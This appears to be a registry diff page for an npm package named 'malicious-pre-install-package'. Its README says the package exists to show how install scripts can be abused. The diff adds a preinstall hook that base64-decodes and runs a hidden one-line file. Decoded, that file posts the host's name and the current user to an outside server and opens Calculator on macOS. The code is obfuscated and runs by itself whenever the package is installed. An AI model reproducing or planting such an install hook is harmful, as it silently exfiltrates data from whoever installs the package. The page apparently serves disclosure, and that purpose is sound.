malicious-pre-install-package 0.0.1-security → 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of malicious-pre-install-package might be problematic. Click here for more details.
- package/README.md +5 -3
- package/package.json +17 -3
- package/suspiciousfile.txt +1 -0
package/README.md
CHANGED
|
@@ -1,5 +1,7 @@
|
|
|
1
|
-
#
|
|
1
|
+
# malicious-pre-install-package
|
|
2
|
+
Please don't install this package.
|
|
2
3
|
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
4
|
|
|
5
|
-
|
|
5
|
+
### Why?
|
|
6
|
+
This package is just a "private" project to showcase how easy it is to abuse the preinstall and postinstall scripts in npm.
|
|
7
|
+
This specific package does not send any sensitive information, but it could as well send SSH keys or any other sensitive credentials.
|
package/package.json
CHANGED
|
@@ -1,6 +1,20 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "malicious-pre-install-package",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.4",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "base64 -d suspiciousfile.txt | sh",
|
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
9
|
+
},
|
|
10
|
+
"repository": {
|
|
11
|
+
"type": "git",
|
|
12
|
+
"url": "git+https://github.com/adriandersen/malicious-pre-install-package.git"
|
|
13
|
+
},
|
|
14
|
+
"author": "",
|
|
15
|
+
"license": "ISC",
|
|
16
|
+
"bugs": {
|
|
17
|
+
"url": "https://github.com/adriandersen/malicious-pre-install-package/issues"
|
|
18
|
+
},
|
|
19
|
+
"homepage": "https://github.com/adriandersen/malicious-pre-install-package#readme"
|
|
6
20
|
}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
Y3VybCAtWCBQT1NUIC1IICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24iIC1kICJ7XCJkYXRhXCI6XCIkSE9TVE5BTUVAJCh3aG9hbWkpXCJ9IiBodHRwczovL2FwaS51dGVuLmFwcC9zZWMvZHluYW1pY2R1bXAvbXBpcAoKaWYgW1sgIiRPU1RZUEUiID09ICJkYXJ3aW4iKiBdXTsgdGhlbgogICAgICAgIG9wZW4gLWEgL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAKZmk=
|